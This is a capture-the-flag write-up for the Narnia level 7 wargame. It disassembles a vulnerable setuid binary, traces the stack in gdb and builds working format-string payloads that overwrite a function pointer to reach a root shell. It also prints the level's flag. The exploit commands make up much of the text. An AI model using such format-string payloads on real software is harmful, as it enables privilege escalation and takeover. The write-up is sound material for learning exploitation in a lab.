Writeup

We have 4 funcionts in the program vuln , main, goodfunction, hackedfunction.

Main :

/ (fcn) sym.main 64
|   int sym.main (int argc, char **argv, char **envp);
|           ; arg signed int argc @ ebp+0x8
|           ; arg char **argv[] @ ebp+0xc
|           0x080486bf      push ebp
|           0x080486c0      mov ebp, esp
|           0x080486c2      cmp dword [argc], 1 ; CHECK IF THE NUMBER OF ARGUMENTS ARE MORE THAN 1
|       ,=< 0x080486c6        jg 0x80486e8 ; IF THERE ARE 0 ARGUMENTS THEN ERROR
|       |   0x080486c8        mov eax, dword [argv[]] ; [0xc:4]=-1 ; 12
|       |   0x080486cb        mov edx, dword [eax]
|       |   0x080486cd        mov eax, dword [obj.stderr] ; obj.__TMC_END ; [0x8049b90:4]=0
|       |   0x080486d2        push edx
|       |   0x080486d3        push str.Usage:__s__buffer ; 0x804886a ; "Usage: %s <buffer>\n" ; const char *format
|       |   0x080486d8        push eax ; FILE *stream
|       |   0x080486d9        call sym.imp.fprintf ; int fprintf(FILE *stream, const char *format,   ...)
|       |   0x080486de        add esp, 0xc
|       |   0x080486e1        push 0xffffffffffffffff ; int status
|       |   0x080486e3        call sym.imp.exit ; void exit(int status)
|       `-> 0x080486e8      mov eax, dword [argv[]] ; argv[0]
|           0x080486eb      add eax, 4 ; TAKE ARGV[1]
|           0x080486ee      mov eax, dword [eax]
|           0x080486f0      push eax
|           0x080486f1      call sym.vuln ; CALL VULN WITH ARGV[1]
|           0x080486f6      add esp, 4
|           0x080486f9      push eax ; int status
\           0x080486fa      call sym.imp.exit ; void exit(int status)

Vuln :

/ (fcn) sym.vuln 164
|   sym.vuln (char *format);
|           ; var void *func() @ ebp-0x84   ;int *(func)()
|           ; var char *buffer @ ebp-0x80   ;char buffer[128]
|           ; arg char *format @ ebp+0x8    ;format (input)
|           0x0804861b        push ebp 
|           0x0804861c        mov ebp, esp
|           0x0804861e        sub esp, 0x84
|           0x08048624        push 0x80 ; 128 = (sizeof(buffer))
|           0x08048629        push 0 ; int c
|           0x0804862b        lea eax, [buffer]
|           0x0804862e        push eax ; void *buffer
|           0x0804862f        call sym.imp.memset ; Zeroize all buffer => void *memset(void *s, int c, size_t n)
|           0x08048634        add esp, 0xc
|           0x08048637        push sym.goodfunction ; 0x80486ff ; "U\x89\xe5h\x80\x88\x04\b\xe8\x84\xfd\xff\xff\x83\xc4\x04\xa1\x94\x9b\x04\bP\xe8F\xfd\xff\xff\x83\xc4\x04\xb8"
|           0x0804863c        push str.goodfunction______p ; 0x80487f0 ; "goodfunction() = %p\n" ; const char *format
|           0x08048641        call sym.imp.printf ; int printf("goodfunction()=%p\n",goodfunction)
|           0x08048646        add esp, 8
|           0x08048649        push sym.hackedfunction ; 0x8048724 ; "U\x89\xe5Sh\xbd\x88\x04\b\xe8\x1e\xfd\xff\xff\x83\xc4\x04\xa1\x94\x9b\x04\bP\xe8 \xfd\xff\xff\x83\xc4\x04\xe88\xfd\xff\xff\x89\xc3\xe81\xfd\xff\xffSP\xe8j\xfd\xff\xff\x83\xc4\bh\u02c8\x04\b\xe8=\xfd\xff\xff\x83\xc4\x04\xb8"
|           0x0804864e        push str.hackedfunction______p ; 0x8048805 ; "hackedfunction() = %p\n\n" ; const char *format
|           0x08048653        call sym.imp.printf ; int printf(hackedfunction()=%p\n",hackedfunction)
|           0x08048658        add esp, 8
|           0x0804865b        mov dword [func()], sym.goodfunction ; func=goodfunction;
|           0x08048665        mov eax, dword [func()]
|           0x0804866b        lea edx, [func()]
|           0x08048671        push edx
|           0x08048672        push eax
|           0x08048673        push str.before_:_ptrf______p___p ; 0x804881d ; "before : ptrf() = %p (%p)\n" ; const char *format
|           0x08048678        call sym.imp.printf ; int printf(before : ptrf() = %p (%p)\n",func(),&func())
|           0x0804867d        add esp, 0xc
|           0x08048680        push str.I_guess_you_want_to_come_to_the_hackedfunction... ; 0x8048838 ; 
|           0x08048685        call sym.imp.puts ; int puts(const char buffer)
|           0x0804868a        add esp, 4
|           0x0804868d        push 2 ; 2 ; int s
|           0x0804868f        call sym.imp.sleep ; int sleep(2)
|           0x08048694        add esp, 4
|           0x08048697        mov dword [func()], sym.goodfunction ; func=goodfunction
|           0x080486a1        push dword [format] ; const char *format
|           0x080486a4        push 0x80 ; 128 => sizeof(bbuffer)
|           0x080486a9        lea eax, [buffer]
|           0x080486ac        push eax ; push *buffer
|           0x080486ad        call sym.imp.snprintf ; int snprintf(buffer, 128, argv[1])
|           0x080486b2        add esp, 0xc
|           0x080486b5        mov eax, dword [func()]
|           0x080486bb        call eax
|           0x080486bd        leave
\           0x080486be        ret

goodfunction:

/ (fcn) sym.goodfunction 37
|   sym.goodfunction ();
|           0x080486ff      push ebp
|           0x08048700      mov ebp, esp
|           0x08048702      push str.Welcome_to_the_goodfunction__but_i_said_the_Hackedfunction.. ; 0x8048880 ; "Welcome to the goodfunction, but i said the Hackedfunction.." ; const char *s
|           0x08048707      call sym.imp.puts ; int puts(const char *s)
|           0x0804870c      add esp, 4
|           0x0804870f      mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0 ; [0x8049b94:4]=0
|           0x08048714      push eax ; FILE *stream
|           0x08048715      call sym.imp.fflush ; int fflush(FILE *stream)
|           0x0804871a      add esp, 4
|           0x0804871d      mov eax, 0
|           0x08048722      leave
\           0x08048723      ret

hackedfunction:

/ (fcn) sym.hackedfunction 76
|   sym.hackedfunction ();
|           ; var int var_4h @ ebp-0x4
|           0x08048724      push ebp
|           0x08048725      mov ebp, esp
|           0x08048727      push ebx
|           0x08048728      push str.Way_to_go ; 0x80488bd ; "Way to go!!!!" ; const char *format
|           0x0804872d      call sym.imp.printf ; int printf(const char *format)
|           0x08048732      add esp, 4
|           0x08048735      mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0 ; [0x8049b94:4]=0
|           0x0804873a      push eax ; FILE *stream
|           0x0804873b      call sym.imp.fflush ; int fflush(FILE *stream)
|           0x08048740      add esp, 4
|           0x08048743      call sym.imp.geteuid ; uid_t geteuid(void)
|           0x08048748      mov ebx, eax
|           0x0804874a      call sym.imp.geteuid ; uid_t geteuid(void)
|           0x0804874f      push ebx
|           0x08048750      push eax
|           0x08048751      call sym.imp.setreuid
|           0x08048756      add esp, 8
|           0x08048759      push str.bin_sh ; 0x80488cb ; "/bin/sh" ; const char *string
|           0x0804875e      call sym.imp.system ; int system(const char *string)
|           0x08048763      add esp, 4
|           0x08048766      mov eax, 0
|           0x0804876b      mov ebx, dword [var_4h]
|           0x0804876e      leave
\           0x0804876f      ret

pseudocode generated by myself (could be wrong):


int goodfunction()
{
    puts("welcome to goodfunction,but I sad hackedfunction");
    return 0;
}

int hackedfunction()
{
    puts("way to go");
    setreuid(getuid(),getuid());    //classic
    system("/bin/sh");
    return 0;
}

int vuln(char *format)
{
    int (*func)();
    char buffer[128];

    memset(buffer,0,sizeof(buffer));
    printf("goodfunction = %p\n",goodfunction);
    printf("hackedfunction=%p\n",hackedfunction);

    func=goodfunction;

    printf("before : func() = %p (%p)\n",func,&func);
    puts("i guess you want to come to hackedfunction");
    sleep(2);

    func=goodfunction;

    snprintf(buffer,sizeof(buffer),format);
    func();
    return 0;
}

int main(int argc,char *argv[],char **environment)
{
    if(argc<=1)
    {
        puts("error");
        exit(-1);
    }
    vuln(argv[1]);
    exit();
}

As in narnia5 we can calculate in what arguments the buffer is when snprintf is called. This time we are using gdb :

(gdb) b *0x080486ad
Breakpoint 1 at 0x80486ad
(gdb) r $(python -c 'print "AAAA"+"%08x."*10')
Starting program: /narnia/narnia7 $(python -c 'print "AAAA"+"%08x."*10')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724

before : ptrf() = 0x80486ff (0xffffd5f8)
I guess you want to come to the hackedfunction...

Breakpoint 1, 0x080486ad in vuln ()
(gdb) x/20x $esp    //When snprintf is called
0xffffd5ec:     0xffffd5fc      0x00000080      0xffffd866      0x080486ff
0xffffd5fc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd60c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd61c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd62c:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) n
0x080486b2 in vuln ()
(gdb) x/20x $esp    //When snprintf has been executed
0xffffd5ec:     0xffffd5fc      0x00000080      0xffffd866      0x080486ff
0xffffd5fc:     0x41414141      0x34303830      0x66663638      0x3431342e
0xffffd60c:     0x34313431      0x34332e31      0x38333033      0x362e3033
0xffffd61c:     0x33363636      0x2e383336      0x31333433      0x65323433
0xffffd62c:     0x3334332e      0x33343331      0x34332e31      0x65323333

We can see that our buffer is in the address 0xffffd5fc and that the func address is in 0xfffffd5f8. When we use as argument $(python -c 'print "AAAA"+"%08x."*10') the string AAAA is written in the second argument of the snprintf. The payload to change the value of func will be:

{[4 bytes(address of func)]+"%[0x8048724(in decimal)-4]x"+"%[offset]$n"}

narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "\x48\xd6\xff\xff"+"%134514468x"+"%2$n"')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724

before : ptrf() = 0x80486ff (0xffffd648)
I guess you want to come to the hackedfunction...
Way to go!!!!$ 

Yeah we did it. Another way is to use the magic table to write 4 bytes into a specific address. Resources gray-hat-hacking.

Payload

$(python -c 'print "\x4a\xd5\xff\xff\x48\xd5\xff\xff"')%.2044x%2\$hn%.32544x%3\$hn

Flag: mohthuphog